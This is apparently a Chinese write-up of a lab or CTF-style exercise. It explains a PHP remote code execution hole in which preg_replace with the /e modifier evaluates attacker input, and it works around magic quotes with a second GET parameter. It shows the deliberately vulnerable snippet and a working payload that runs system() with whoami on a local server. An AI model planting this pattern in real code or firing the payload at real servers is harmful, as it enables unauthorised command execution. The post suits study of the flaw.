【无标题】

php 复制代码
<?php
highlight_file(__FILE__);
$input = $_GET['data'];
echo preg_replace("/(.*)/e", "\\1", $input);
?>

关键的代码如下

php 复制代码
echo preg_replace("/(.*)/e", "\\1", $input);

在 PHP 5.x 中,preg_replace 函数的 /e 修饰符会将替换后的字符串作为 PHP 代码执行。

下面是关于正则表达式的拆解:

. = 匹配单个字符

* = 匹配前面的内容0次或者多次

( ) = 将匹配的内容包裹起来

后面的\\1表示引用第一个括号里面的内容

那么这个代码其实等价于

php 复制代码
echo eval($input);

如果我们直接传递下面的payload,就会出现报错

php 复制代码
?data=system('ls')

原因是因为,PHP魔术引号的原因会自动将'变成\'导致出错

这里我们可以参数二次传递的方式来避免'

下面是我本地测试的payload,用whoami检测命令是否可行

php 复制代码
http://127.0.0.1/s1.php?data=system($_GET[a])&a=whoami

成功执行

相关推荐
游戏开发爱好者821 小时前
带签名时间戳接口的重放与压力测试实战,用动态值在发送前现算签名
网络协议·计算机网络·网络安全·ios·adb·https·压力测试
笨鸟先飞,勤能补拙1 天前
AI与深度学习:从原理到应用
人工智能·windows·vscode·深度学习·机器学习·网络安全·github
数据知道1 天前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
小新讲网安1 天前
云安全攻防实战:AWS与阿里云渗透测试全流程指南
安全·web安全·网络安全·阿里云·自动化·云计算·aws
Aision_1 天前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全
艺杯羹1 天前
古典密码学攻防演进全景:从凯撒移位、频率分析到一次一密与恩尼格玛机破译
网络·人工智能·安全·网络安全·密码学·密码安全
菩提小狗1 天前
每日安全情报报告 · 2026-08-17
网络安全·漏洞·cve·安全情报·每日安全
菜是原罪1 天前
ECS CPU 100% 故障排查与安全事件复盘报告
运维·服务器·网络安全
juesdo1 天前
vulnos OS-00118靶场通关
linux·web安全·网络安全·docker
数据知道1 天前
网络安全实战:渗透测试全流程 SOP——从授权到报告交付
服务器·网络·安全·web安全·网络安全